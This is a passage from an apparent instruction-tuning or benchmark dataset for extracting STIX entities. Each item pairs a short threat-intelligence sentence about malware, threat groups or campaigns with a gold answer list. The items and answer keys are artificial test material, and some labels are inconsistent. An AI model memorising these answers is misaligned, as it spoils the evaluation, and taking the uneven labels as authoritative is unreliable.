MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIt claims to be available in all OS formats including MacOS, Android and Windows. NetWireRAT is believed to have been used by the Iranian Nation state sponsored group APT33/Elfin back in 2016. Once executed on the victim\u2019s machine, several anti-analysis techniques are used to protect it from analysis.\n",
    "output": "<entities>NetWireRAT|APT33/Elfin|Android|Windows|MacOS|Iranian</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKOCTOPUS's batch variant is loader used by LazyScripter since 2018 to launch Octopus and Koadic and, in some cases, QuasarRAT. KOCTOPUS also has a VBA variant that has the same functionality as the batch version.\n",
    "output": "<entities>KOCTOPUS|QuasarRAT|LazyScripter|Octopus|Koadic|VBA</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nZergHelper is iOS riskware that was unique due to its apparent evasion of Apple's App Store review process. No malicious functionality was identified in the app, but it presents security risks.\n",
    "output": "<entities>ZergHelper|Apple|iOS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKerrdown has been distributed through malicious e-mail attachments.\n",
    "output": "<entities>Kerrdown</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSilverTerrier uses SMTP for C2 communications.\n",
    "output": "<entities>SilverTerrier|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLIGHTWIRE is a web shell written in Perl that was used during Cutting Edge to maintain access and enable command execution by imbedding into the legitimate compcheckresult.cgi component of Ivanti Secure Connect VPNs.\n",
    "output": "<entities>LIGHTWIRE|Cutting Edge|Ivanti Secure Connect VPNs|compcheckresult.cgi|Perl</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nadbupd contains a copy of the OpenSSL library to encrypt C2 traffic.\n",
    "output": "<entities>adbupd|C2|OpenSSL</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nC0033 was a PROMETHIUM campaign during which they used StrongPity to target Android users. C0033 was the first publicly documented mobile campaign for PROMETHIUM, who previously used Windows-based techniques.\n",
    "output": "<entities>C0033|PROMETHIUM|StrongPity|Android|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPallas is mobile surveillanceware that was custom-developed by Dark Caracal.\n",
    "output": "<entities>Pallas|Dark Caracal</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKOPILUWAK is a JavaScript-based reconnaissance tool that has been used for victim profiling and C2 since at least 2017.\n",
    "output": "<entities>KOPILUWAK|C2|JavaScript</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGLOOXMAIL communicates to servers operated by Google using the Jabber/XMPP protocol.\n",
    "output": "<entities>GLOOXMAIL|Google</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGoldenSpy's setup file installs initial executables under the folder %WinDir%\\System32\\PluginManager.\n",
    "output": "<entities>GoldenSpy|%WinDir%\\System32\\PluginManager</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAmadey is a Trojan bot that has been used since at least October 2018.\n",
    "output": "<entities>Amadey</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDEATHRANSOM is ransomware written in C that has been used since at least 2020, and has potential overlap with FIVEHANDS and HELLOKITTY.\n",
    "output": "<entities>DEATHRANSOM|C|FIVEHANDS|HELLOKITTY</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGoldenEagle is a piece of Android malware that has been used in targeting of Uyghurs, Muslims, Tibetans, individuals in Turkey, and individuals in China. Samples have been found as early as 2012.\n",
    "output": "<entities>GoldenEagle|Android|Turkey|China</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKivars has the ability to conceal its activity through hiding active windows.\n",
    "output": "<entities>Kivars</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nExodus is Android spyware deployed in two distinct stages named Exodus One (dropper) and Exodus Two (payload).\n",
    "output": "<entities>Exodus|Android|Exodus One|Exodus Two</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nQuietSieve is an information stealer that has been used by Gamaredon Group since at least 2021.\n",
    "output": "<entities>QuietSieve|Gamaredon Group</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- 